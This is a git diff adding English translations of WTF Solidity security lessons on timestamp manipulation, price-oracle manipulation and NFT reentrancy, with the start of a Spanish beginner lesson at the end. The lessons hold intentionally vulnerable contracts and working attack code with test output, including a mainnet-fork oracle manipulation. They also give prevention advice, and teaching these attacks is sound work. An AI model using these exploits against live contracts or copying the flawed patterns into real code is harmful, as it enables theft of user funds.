nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + vm.stopPrank(); + } +} + +``` + +After installing Foundry, start a new project and install the openzeppelin library by entering the following command on the command line: + +```shell +forge init TimeMnipulation +cd TimeMnipulation +forge install Openzeppelin/openzeppelin-contracts +``` + +Copy the code of this lesson to the `src` and `test` directories respectively, and then start the test case with the following command: + +```shell +forge test -vv --match-test testMint +``` + +The test result is as follows: + +```shell +Running 1 test for test/TimeManipulation.t.sol:TimeManipulationTest +[PASS] testMint() (gas: 94666) +Logs: + Condition 1: block.timestamp % 170 != 0 + block.timestamp: 169 + alice balance before mint: 0 + alice balance after mint: 0 + Condition 2: block.timestamp % 170 == 0 + block.timestamp: 17000 + alice balance before mint: 0 + alice balance after mint: 1 + +Test result: ok. 1 passed; 0 failed; finished in 7.64ms +``` + +We can see that when we modify `block.timestamp` to 17000, the minting is successful. + +## Summary + +In this lesson, we introduced the block timestamp manipulation attack on smart contracts and reproduced it using Foundry. Before the merge, Ethereum miners can manipulate the block timestamp. If the pseudo-random number of the lottery contract depends on the block timestamp, it may be attacked. After the merge, Ethereum changed to a fixed 12s per block, and the validator cannot manipulate the block timestamp. Therefore, this type of attack will not occur on Ethereum, but it may still be encountered on other public chains. diff --git a/Languages/en/S14_TimeManipulation_en/src/TimeManipulation.sol b/Languages/en/S14_TimeManipulation_en/src/TimeManipulation.sol new file mode 100644 index 000000000..805b85db9 --- /dev/null +++ b/Languages/en/S14_TimeManipulation_en/src/TimeManipulation.sol @@ -0,0 +1,23 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +// English translation by 22X +pragma solidity ^0.8.21; +import "openzeppelin-contracts/token/ERC721/ERC721.sol"; + +contract TimeManipulation is ERC721 { + uint256 totalSupply; + + // Constructor: Initialize the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: Only mint when the block timestamp is divisible by 170 + function luckyMint() external returns(bool success){ + if(block.timestamp % 170 == 0){ + _mint(msg.sender, totalSupply); // mint + totalSupply++; + success = true; + }else{ + success = false; + } + } +} \ No newline at end of file diff --git a/Languages/en/S14_TimeManipulation_en/test/TimeManipulation.t.sol b/Languages/en/S14_TimeManipulation_en/test/TimeManipulation.t.sol new file mode 100644 index 000000000..66aaea601 --- /dev/null +++ b/Languages/en/S14_TimeManipulation_en/test/TimeManipulation.t.sol @@ -0,0 +1,40 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.21; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/TimeManipulation.sol"; + +contract TimeManipulationTest is Test { + TimeManipulation public nft; + + // Computes address for a given private key + address alice = vm.addr(1); + + function setUp() public { + nft = new TimeManipulation(); + } + + // forge test -vv --match-test testMint + function testMint() public { + console.log("Condition 1: block.timestamp % 170 != 0"); + // Set block.timestamp to 169 + vm.warp(169); + console.log("block.timestamp: %s", block.timestamp); + // Sets all subsequent calls' msg.sender to be the input address + // until `stopPrank` is called + vm.startPrank(alice); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + + // Set block.timestamp to 17000 + console.log("Condition 2: block.timestamp % 170 == 0"); + vm.warp(17000); + console.log("block.timestamp: %s", block.timestamp); + console.log("alice balance before mint: %s", nft.balanceOf(alice)); + nft.luckyMint(); + console.log("alice balance after mint: %s", nft.balanceOf(alice)); + vm.stopPrank(); + } +} diff --git a/Languages/en/S15_OracleManipulation_en/img/S15-1.png b/Languages/en/S15_OracleManipulation_en/img/S15-1.png new file mode 100644 index 000000000..fca502c4f Binary files /dev/null and b/Languages/en/S15_OracleManipulation_en/img/S15-1.png differ diff --git a/Languages/en/S15_OracleManipulation_en/readme.md b/Languages/en/S15_OracleManipulation_en/readme.md new file mode 100644 index 000000000..1d2c12f0c --- /dev/null +++ b/Languages/en/S15_OracleManipulation_en/readme.md @@ -0,0 +1,244 @@ +--- +title: S15. Oracle Manipulation +tags: + - solidity + - security + - oracle +--- + +# WTF Solidity S15. Oracle Manipulation + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the oracle manipulation attack on smart contracts and reproduce it using Foundry. In the example, we use `1 ETH` to exchange for 17 trillion stablecoins. In 2021, oracle manipulation attacks caused user asset losses of more than 200 million U.S. dollars. + +## Price Oracle + +For security reasons, the Ethereum Virtual Machine (EVM) is a closed and isolated sandbox. Smart contracts running on the EVM can access on-chain information but cannot actively communicate with the outside world to obtain off-chain information. However, this type of information is crucial for decentralized applications. + +An oracle can help us solve this problem by obtaining information from off-chain data sources and adding it to the blockchain for smart contract use. + +One of the most commonly used oracles is a price oracle, which refers to any data source that allows you to query the price of a token. Typical use cases include: + +- Decentralized lending platforms (AAVE) use it to determine if a borrower has reached the liquidation threshold. +- Synthetic asset platforms (Synthetix) use it to determine the latest asset prices and support 0-slippage trades. +- MakerDAO uses it to determine the price of collateral and mint the corresponding stablecoin, DAI. + +![](./img/S15-1.png) + +## Oracle Vulnerabilities + +If an oracle is not used correctly by developers, it can pose significant security risks. + +- In October 2021, Cream Finance, a DeFi platform on the Binance Smart Chain, suffered a [theft of $130 million in user funds](https://rekt.news/cream-rekt-2/) due to an oracle vulnerability. +- In May 2022, Mirror Protocol, a synthetic asset platform on the Terra blockchain, suffered a [theft of $115 million in user funds](https://rekt.news/mirror-rekt/) due to an oracle vulnerability. +- In October 2022, Mango Market, a decentralized lending platform on the Solana blockchain, suffered a [theft of $115 million in user funds](https://rekt.news/mango-markets-rekt/) due to an oracle vulnerability. + +## Vulnerability Example + +Let's learn about an example of an oracle vulnerability in the `oUSD` contract. This contract is a stablecoin contract that complies with the ERC20 standard. Similar to the Synthetix synthetic asset platform, users can exchange `ETH` for `oUSD` (Oracle USD) with zero slippage in this contract. The exchange price is determined by a custom price oracle (`getPrice()` function), which relies on the instantaneous price of the `WETH-BUSD` pair on Uniswap V2. In the following attack example, we will see how this oracle can be easily manipulated. + +### Vulnerable Contract + +The `oUSD` contract includes `7` state variables to record the addresses of `BUSD`, `WETH`, the Uniswap V2 factory contract, and the `WETH-BUSD` pair contract. + +The `oUSD` contract mainly consists of `3` functions: + +- Constructor: Initializes the name and symbol of the `ERC20` token. +- `getPrice()`: Price oracle function that retrieves the instantaneous price of the `WETH-BUSD` pair on Uniswap V2. This is where the vulnerability lies. + ``` + // Get ETH price + function getPrice() public view returns (uint256 price) { + // Reserves in the pair + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Instantaneous price of ETH + price = reserve0/reserve1; + } + ``` +- `swap()` function, which exchanges `ETH` for `oUSD` at the price given by the oracle. + +Source Code: + +```solidity +contract oUSD is ERC20{ + // Mainnet contracts + address public constant FACTORY_V2 = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address public constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + + IUniswapV2Factory public factory = IUniswapV2Factory(FACTORY_V2); + IUniswapV2Pair public pair = IUniswapV2Pair(factory.getPair(WETH, BUSD)); + IERC20 public weth = IERC20(WETH); + IERC20 public busd = IERC20(BUSD); + + constructor() ERC20("Oracle USD","oUSD"){} + + // Get ETH price + function getPrice() public view returns (uint256 price) { + // Reserves in the pair + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Instantaneous price of ETH + price = reserve0/reserve1; + } + + function swap() external payable returns (uint256 amount){ + // Get price + uint price = getPrice(); + // Calculate exchange amount + amount = price * msg.value; + // Mint tokens + _mint(msg.sender, amount); + } +} +``` + +### Attack Strategy + +We will attack the vulnerable `getPrice()` function of the price oracle. The steps are as follows: + +1. Prepare some `BUSD`, which can be our own funds or borrowed through flash loans. In the implementation, we use the Foundry's `deal` cheat code to mint ourselves `1,000,000 BUSD` on the local network. +2. Buy a large amount of `WETH` in the `WETH-BUSD` pool on UniswapV2. The specific implementation can be found in the `swapBUSDtoWETH()` function of the attack code. +3. The instantaneous price of `WETH` skyrockets. At this point, we call the `swap()` function to convert `ETH` into `oUSD`. +4. **Optional:** Sell the `WETH` bought in step 2 back to the `WETH-BUSD` pool to recover the principal. + +These 4 steps can be completed in a single transaction. + +### Reproduce on Foundry + +We will use Foundry to reproduce the manipulation attack on the oracle because it is fast and allows us to create a local fork of the mainnet for testing. If you are not familiar with Foundry, you can read [WTF Solidity Tools T07: Foundry](https://github.com/AmazingAng/WTF-Solidity/blob/main/Topics/Tools/TOOL07_Foundry/readme.md). + +1. After installing Foundry, start a new project and install the OpenZeppelin library by running the following command in the command line: + +```shell +forge init Oracle +cd Oracle +forge install Openzeppelin/openzeppelin-contracts +``` + +2. Create an `.env` environment variable file in the root directory and add the mainnet rpc to create a local testnet. + +``` +MAINNET_RPC_URL= https://rpc.ankr.com/eth +``` + +3. Copy the code from this lesson, `Oracle.sol` and `Oracle.t.sol`, to the `src` and `test` folders respectively in the root directory, and then start the attack script with the following command: + +``` +forge test -vv --match-test testOracleAttack +``` + +4. We can see the attack result in the terminal. Before the attack, the oracle `getPrice()` gave a price of `1216 USD` for `ETH`, which is normal. However, after we bought `WETH` in the `WETH-BUSD` pool on UniswapV2 with `1,000,000` BUSD, the price given by the oracle was manipulated to `17,979,841,782,699 USD`. At this point, we can easily exchange `1 ETH` for 17 trillion `oUSD` and complete the attack. + +```shell +Running 1 test for test/Oracle.t.sol:OracleTest +[PASS] testOracleAttack() (gas: 356524) +Logs: + 1. ETH Price (before attack): 1216 + 2. Swap 1,000,000 BUSD to WETH to manipulate the oracle + 3. ETH price (after attack): 17979841782699 + 4. Minted 1797984178269 oUSD with 1 ETH (after attack) + +Test result: ok. 1 passed; 0 failed; finished in 262.94ms +``` + +Attack Code: + +```solidity +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/Oracle.sol"; + +contract OracleTest is Test { + address private constant alice = address(1); + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address private constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; + IUniswapV2Router router; + IWETH private weth = IWETH(WETH); + IBUSD private busd = IBUSD(BUSD); + string MAINNET_RPC_URL; + oUSD ousd; + + function setUp() public { + MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL"); + // Specify the forked block + vm.createSelectFork(MAINNET_RPC_URL, 16060405); + router = IUniswapV2Router(ROUTER); + ousd = new oUSD(); + } + + //forge test --match-test testOracleAttack -vv + function testOracleAttack() public { + // Attack the oracle + // 0. Get the price before manipulating the oracle + uint256 priceBefore = ousd.getPrice(); + console.log("1. ETH Price (before attack): %s", priceBefore); + // Give yourself 1,000,000 BUSD + uint busdAmount = 1_000_000 * 10e18; + deal(BUSD, alice, busdAmount); + // 2. Buy WETH with BUSD to manipulate the oracle + vm.prank(alice); + busd.transfer(address(this), busdAmount); + swapBUSDtoWETH(busdAmount, 1); + console.log("2. Swap 1,000,000 BUSD to WETH to manipulate the oracle"); + // 3. Get the price after manipulating the oracle + uint256 priceAfter = ousd.getPrice(); + console.log("3. ETH price (after attack): %s", priceAfter); + // 4. Mint oUSD + ousd.swap{value: 1 ether}(); + console.log("4. Minted %s oUSD with 1 ETH (after attack)", ousd.balanceOf(address(this))/10e18); + } + + // Swap BUSD to WETH + function swapBUSDtoWETH(uint amountIn, uint amountOutMin) + public + returns (uint amountOut) + { + busd.approve(address(router), amountIn); + + address[] memory path; + path = new address[](2); + path[0] = BUSD; + path[1] = WETH; + + uint[] memory amounts = router.swapExactTokensForTokens( + amountIn, + amountOutMin, + path, + alice, + block.timestamp + ); + + // amounts[0] = BUSD amount, amounts[1] = WETH amount + return amounts[1]; + } +} +``` + +## How to Prevent + +Renowned blockchain security expert `samczsun` summarized how to prevent oracle manipulation in a [blog post](https://www.paradigm.xyz/2020/11/so-you-want-to-use-a-price-oracle). Here's a summary: + +1. Avoid using pools with low liquidity as price oracles. +2. Avoid using spot/instant prices as price oracles; incorporate price delays, such as Time-Weighted Average Price (TWAP). +3. Use decentralized oracles. +4. Use multiple data sources and select the ones closest to the median price as oracles to avoid extreme situations. +5. Carefully read the documentation and parameter settings of third-party price oracles. + +## Conclusion + +In this lesson, we introduced the manipulation of price oracles and attacked a vulnerable synthetic stablecoin contract, exchanging `1 ETH` for 17 trillion stablecoins, making us the richest person in the world (not really). diff --git a/Languages/en/S15_OracleManipulation_en/src/Oracle.sol b/Languages/en/S15_OracleManipulation_en/src/Oracle.sol new file mode 100644 index 000000000..df4e91b47 --- /dev/null +++ b/Languages/en/S15_OracleManipulation_en/src/Oracle.sol @@ -0,0 +1,124 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; + +import "openzeppelin-contracts/token/ERC20/IERC20.sol"; +import "openzeppelin-contracts/token/ERC20/ERC20.sol"; + +contract oUSD is ERC20{ + // Mainnet contracts + address public constant FACTORY_V2 = + 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; + address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address public constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + + IUniswapV2Factory public factory = IUniswapV2Factory(FACTORY_V2); + IUniswapV2Pair public pair = IUniswapV2Pair(factory.getPair(WETH, BUSD)); + IERC20 public weth = IERC20(WETH); + IERC20 public busd = IERC20(BUSD); + + constructor() ERC20("Oracle USD","oUSD"){} + + // Get ETH price + function getPrice() public view returns (uint256 price) { + // Reserves in the pair + (uint112 reserve0, uint112 reserve1, ) = pair.getReserves(); + // Instantaneous price of ETH + price = reserve0/reserve1; + } + + function swap() external payable returns (uint256 amount){ + // Get price + uint price = getPrice(); + // Calculate exchange amount + amount = price * msg.value; + // Mint tokens + _mint(msg.sender, amount); + } +} + +interface IUniswapV2Factory { + function getPair(address tokenA, address tokenB) + external + view + returns (address pair); +} + +interface IUniswapV2Pair { + function swap( + uint256 amount0Out, + uint256 amount1Out, + address to, + bytes calldata data + ) external; + + function token0() external view returns (address); + + function token1() external view returns (address); + + function getReserves() + external + view + returns ( + uint112 reserve0, + uint112 reserve1, + uint32 blockTimestampLast + ); + + function price0CumulativeLast() external view returns (uint); + + function price1CumulativeLast() external view returns (uint); + + function totalSupply() external view returns (uint); + + function balanceOf(address owner) external view returns (uint); +} + +interface IUniswapV2Router { + // Swap related + function swapExactTokensForTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + + function swapTokensForExactTokens( + uint amountOut, + uint amountInMax, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + + // Liquidity related + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) + external + returns ( + uint amountA, + uint amountB, + uint liquidity + ); + + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB); + + function factory() external view returns (address); +} \ No newline at end of file diff --git a/Languages/en/S15_OracleManipulation_en/test/Oracle.t.sol b/Languages/en/S15_OracleManipulation_en/test/Oracle.t.sol new file mode 100644 index 000000000..68590c2f0 --- /dev/null +++ b/Languages/en/S15_OracleManipulation_en/test/Oracle.t.sol @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.21; +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../src/Oracle.sol"; + +contract OracleTest is Test { + address private constant alice = address(1); + address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address private constant BUSD = 0x4Fabb145d64652a948d72533023f6E7A623C7C53; + address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; + IUniswapV2Router router; + IWETH private weth = IWETH(WETH); + IBUSD private busd = IBUSD(BUSD); + string MAINNET_RPC_URL; + oUSD ousd; + + function setUp() public { + MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL"); + // Specify the forked block + vm.createSelectFork(MAINNET_RPC_URL, 16060405); + router = IUniswapV2Router(ROUTER); + ousd = new oUSD(); + } + + //forge test --match-test testOracleAttack -vv + function testOracleAttack() public { + // Attack the oracle + // 0. Get the price before manipulating the oracle + uint256 priceBefore = ousd.getPrice(); + console.log("1. ETH Price (before attack): %s", priceBefore); + // Give yourself 1,000,000 BUSD + uint busdAmount = 1_000_000 * 10e18; + deal(BUSD, alice, busdAmount); + // 2. Buy WETH with BUSD to manipulate the oracle + vm.prank(alice); + busd.transfer(address(this), busdAmount); + swapBUSDtoWETH(busdAmount, 1); + console.log("2. Swap 1,000,000 BUSD to WETH to manipulate the oracle"); + // 3. Get the price after manipulating the oracle + uint256 priceAfter = ousd.getPrice(); + console.log("3. ETH price (after attack): %s", priceAfter); + // 4. Mint oUSD + ousd.swap{value: 1 ether}(); + console.log("4. Minted %s oUSD with 1 ETH (after attack)", ousd.balanceOf(address(this))/10e18); + } + + // Swap BUSD to WETH + function swapBUSDtoWETH(uint amountIn, uint amountOutMin) + public + returns (uint amountOut) + { + busd.approve(address(router), amountIn); + + address[] memory path; + path = new address[](2); + path[0] = BUSD; + path[1] = WETH; + + uint[] memory amounts = router.swapExactTokensForTokens( + amountIn, + amountOutMin, + path, + alice, + block.timestamp + ); + + // amounts[0] = BUSD amount, amounts[1] = WETH amount + return amounts[1]; + } +} + +interface IWETH is IERC20 { + function deposit() external payable; + + function withdraw(uint amount) external; +} + +interface IBUSD is IERC20 { + function balanceOf(address account) external view returns (uint); +} + diff --git a/Languages/en/S16_NFTReentrancy_en/NFTReentrancy.sol b/Languages/en/S16_NFTReentrancy_en/NFTReentrancy.sol new file mode 100644 index 000000000..b2b2ee32a --- /dev/null +++ b/Languages/en/S16_NFTReentrancy_en/NFTReentrancy.sol @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +// English translation by 22X +pragma solidity ^0.8.21; +import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; + +// NFT contract with Reentrancy Vulnerability +contract NFTReentrancy is ERC721 { + uint256 public totalSupply; + mapping(address => bool) public mintedAddress; + // Constructor to initialize the name and symbol of the NFT collection + constructor() ERC721("Reentry NFT", "ReNFT"){} + + // Mint function, each user can only mint 1 NFT + // Contains a reentrancy vulnerability + function mint() payable external { + // Check if already minted + require(mintedAddress[msg.sender] == false); + // Increase total supply + totalSupply++; + // Mint the NFT + _safeMint(msg.sender, totalSupply); + // Record the minted address + mintedAddress[msg.sender] = true; + } +} + +contract Attack is IERC721Receiver { + NFTReentrancy public nft; // Address of the NFT contract + + // Initialize the NFT contract address + constructor(NFTReentrancy _nftAddr) { + nft = _nftAddr; + } + + // Attack function to initiate the attack + function attack() external { + nft.mint(); + } + + // Callback function for ERC721, repeatedly calls the mint function to mint 10 NFTs + function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { + if(nft.balanceOf(address(this)) < 10){ + nft.mint(); + } + return this.onERC721Received.selector; + } +} diff --git a/Languages/en/S16_NFTReentrancy_en/img/S16-1.png b/Languages/en/S16_NFTReentrancy_en/img/S16-1.png new file mode 100644 index 000000000..045fbf5b6 Binary files /dev/null and b/Languages/en/S16_NFTReentrancy_en/img/S16-1.png differ diff --git a/Languages/en/S16_NFTReentrancy_en/img/S16-2.png b/Languages/en/S16_NFTReentrancy_en/img/S16-2.png new file mode 100644 index 000000000..79abf69a3 Binary files /dev/null and b/Languages/en/S16_NFTReentrancy_en/img/S16-2.png differ diff --git a/Languages/en/S16_NFTReentrancy_en/readme.md b/Languages/en/S16_NFTReentrancy_en/readme.md new file mode 100644 index 000000000..dea93a089 --- /dev/null +++ b/Languages/en/S16_NFTReentrancy_en/readme.md @@ -0,0 +1,137 @@ +--- +title: S16. NFT Reentrancy Attack +tags: + - solidity + - security + - fallback + - nft + - erc721 + - erc1155 +--- + +# WTF Solidity S16. NFT Reentrancy Attack + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will discuss the reentrancy vulnerability in NFT contracts and attack a vulnerable NFT contract to mint 100 NFTs. + +## NFT Reentrancy Risk + +In [S01 Reentrancy Attack](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/S01_ReentrancyAttack_en/readme.md), we discussed that reentrancy attack is one of the most common attacks in smart contracts, where an attacker exploits contract vulnerabilities (e.g., `fallback` function) to repeatedly call the contract and transfer assets or mint a large number of tokens. When transferring NFTs, the contract's `fallback` or `receive` functions are not triggered. So why is there a reentrancy risk? + +This is because the NFT standards ([ERC721](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/34_ERC721_en/readme.md)/[ERC1155](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/40_ERC1155_en/readme.md)) have introduced secure transfers to prevent users from accidentally sending assets to a black hole. If the recipient address is a contract, it will call the corresponding check function to ensure that it is ready to receive the NFT asset. For example, the `safeTransferFrom()` function of ERC721 calls the `onERC721Received()` function of the target address, and a hacker can embed malicious code in it to launch an attack. + +We have summarized the functions in ERC721 and ERC1155 that have potential reentrancy risks: + +![](./img/S16-1.png) + +## Vulnerable Example + +Now let's learn an example of an NFT contract with a reentrancy vulnerability. This is an `ERC721` contract where each address can mint one NFT for free, but we can exploit the reentrancy vulnerability to mint multiple NFTs at once. + +### Vulnerable Contract + +The `NFTReentrancy` contract inherits from the `ERC721` contract. It has two main state variables: `totalSupply` to track the total supply of NFTs and `mintedAddress` to keep track of addresses that have already minted to prevent a user from minting multiple times. It has two main functions: + +- Constructor: Initializes the name and symbol of the `ERC721` NFT. +- `mint()`: Mint function where each user can mint one NFT for free. **Note: This function has a reentrancy vulnerability!** + +```solidity +contract NFTReentrancy is ERC721 { + uint256 public totalSupply; + mapping(address => bool) public mintedAddress; + // Constructor to initialize the name and symbol of the NFT collection + constructor() ERC721("Reentry NFT", "ReNFT"){} + + // Mint function, each user can only mint 1 NFT + // Contains a reentrancy vulnerability + function mint() payable external { + // Check if already minted + require(mintedAddress[msg.sender] == false); + // Increase total supply + totalSupply++; + // Mint the NFT + _safeMint(msg.sender, totalSupply); + // Record the minted address + mintedAddress[msg.sender] = true; + } +} +``` + +### Attack Contract + +The reentrancy vulnerability in the `NFTReentrancy` contract lies in the `mint()` function, which calls the `_safeMint()` function in the `ERC721` contract, which in turn calls the `_checkOnERC721Received()` function of the recipient address. If the recipient address's `_checkOnERC721Received()` contains malicious code, an attack can be performed. + +The `Attack` contract inherits the `IERC721Receiver` contract and has one state variable `nft` that stores the address of the vulnerable NFT contract. It has three functions: + +- Constructor: Initializes the address of the vulnerable NFT contract. +- `attack()`: Attack function that calls the `mint()` function of the NFT contract and initiates the attack. +- `onERC721Received()`: ERC721 callback function with embedded malicious code that repeatedly calls the `mint()` function and mints 10 NFTs. + +```solidity +contract Attack is IERC721Receiver { + NFTReentrancy public nft; // Address of the NFT contract + + // Initialize the NFT contract address + constructor(NFTReentrancy _nftAddr) { + nft = _nftAddr; + } + + // Attack function to initiate the attack + function attack() external { + nft.mint(); + } + + // Callback function for ERC721, repeatedly calls the mint function to mint 10 NFTs + function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) { + if(nft.balanceOf(address(this)) < 10){ + nft.mint(); + } + return this.onERC721Received.selector; + } +} +``` + +## Reproduce on `Remix` + +1. Deploy the `NFTReentrancy` contract. +2. Deploy the `Attack` contract with the `NFTReentrancy` contract address as the parameter. +3. Call the `attack()` function of the `Attack` contract to initiate the attack. +4. Call the `balanceOf()` function of the `NFTReentrancy` contract to check the holdings of the `Attack` contract. You will see that it holds `10` NFTs, indicating a successful attack. + +![](./img/S16-2.png) + +## How to Prevent + +There are two main methods to prevent reentrancy attack vulnerabilities: checks-effects-interactions pattern and reentrant guard. + +1. Checks-Effects-Interactions Pattern: This pattern emphasizes checking the state variables, updating the state variables (e.g., balances), and then interacting with other contracts. We can use this pattern to fix the vulnerable `mint()` function: + +```solidity + function mint() payable external { + // Check if already minted + require(mintedAddress[msg.sender] == false); + // Increase total supply + totalSupply++; + // Record the minted address + mintedAddress[msg.sender] = true; + // Mint the NFT + _safeMint(msg.sender, totalSupply); + } +``` + +2. Reentrant Lock: It is a modifier used to prevent reentrant functions. It is recommended to use [ReentrancyGuard](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) provided by OpenZeppelin. + +## Summary + +In this lesson, we introduced the reentrancy vulnerability in NFTs and attacked a vulnerable NFT contract by minting 100 NFTs. Currently, there are two main methods to prevent reentrancy attacks: the checks-effects-interactions pattern and the reentrant lock. diff --git a/Languages/es/01_HolaWeb3_es/HolaWeb3.sol b/Languages/es/01_HolaWeb3_es/HolaWeb3.sol new file mode 100644 index 000000000..0c78813a7 --- /dev/null +++ b/Languages/es/01_HolaWeb3_es/HolaWeb3.sol @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract HolaWeb3{ + string public _string = "Hola Web3!"; +} + diff --git a/Languages/es/01_HolaWeb3_es/img/1-1.png b/Languages/es/01_HolaWeb3_es/img/1-1.png new file mode 100644 index 000000000..8d4a592e7 Binary files /dev/null and b/Languages/es/01_HolaWeb3_es/img/1-1.png differ diff --git a/Languages/es/01_HolaWeb3_es/img/1-2.png b/Languages/es/01_HolaWeb3_es/img/1-2.png new file mode 100644 index 000000000..75ccc9454 Binary files /dev/null and b/Languages/es/01_HolaWeb3_es/img/1-2.png differ diff --git a/Languages/es/01_HolaWeb3_es/img/1-3.png b/Languages/es/01_HolaWeb3_es/img/1-3.png new file mode 100644 index 000000000..579e00dfd Binary files /dev/null and b/Languages/es/01_HolaWeb3_es/img/1-3.png differ diff --git a/Languages/es/01_HolaWeb3_es/readme.md b/Languages/es/01_HolaWeb3_es/readme.md new file mode 100644 index 000000000..c43ea6c6a --- /dev/null +++ b/Languages/es/01_HolaWeb3_es/readme.md @@ -0,0 +1,95 @@ +# Tutorial WTF Solidity: 1. HolaWeb3 (Solidity en 3 lineas) + +Recientemente, he estado revisando Solidity y escribiendo tutoriales en "WTF Solidity" para principiantes. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Comunidad: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Sitio web wtf.academy](https://wtf.academy) + +La traducción al español ha sido realizada por Jonathan Díaz con el objetivo de hacer estos recursos accesibles a la comunidad de habla hispana. + +Twitter: [@jonthdiaz](https://twitter.com/jonthdiaz) + +Los códigos y tutoriales están como código abierto en GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +## WTF es Solidity? + +`Solidity` es un lenguaje de programación utilizado para crear contratos inteligentes en la Ethereum Virtual Machine. Es una habilidad necesaria para trabajar en proyectos blockchain. Además, como muchos de ellos son de código abierto, entender el código puede ayudar a evitar proyectos que impliquen pérdida de dinero. + + +`Solidity` tiene dos características: + +1. Orientado a objetos: Después de aprenderlo, puedes usarlo para ganar dinero encontrando los proyectos adecuados. +2. Avanzado: Si se escribe un contracto inteligente en Solidity, se es un ciudadano de primer clase de Ethereum. + +## Herramienta de desarrollo: Remix + +En este tutorial, se usara `Remix` para ejecutar contratos de `solidity`. `Remix` es un IDE (Entorno de desarrollo integrado) de desarrollo de contratos inteligentes recomendado oficialmente por Ethereum. Es adecuado para principiantes, ya que permite la implementación y pruebas rápidas de contratos inteligentes en el navegador, sin necesidad de instalar programas en la máquina local. + +Sitio Web: [remix.ethereum.org](https://remix.ethereum.org) + +Al ingresar a `Remix`, Se puede ver que el menú en el lado izquierdo tiene tres botones, correspondientes a archivo (donde se escribe el texto), compilar (donde se ejecuta el código) y desplegar (donde se despliega en la blockchain). Al hacer clic en el botón "Crear Nuevo Archivo", se puede crear un contrato en blanco de `Solidity`. + + +Dentro de Remix, observamos que hay cuatro botones en el menú vertical a mano izquierda, correspondientes al EXPLORADOR DE ARCHIVOS (donde escribir el código), BUSCAR EN ARCHIVOS (para encontrar y reemplazar archivos), COMPILADOR DE 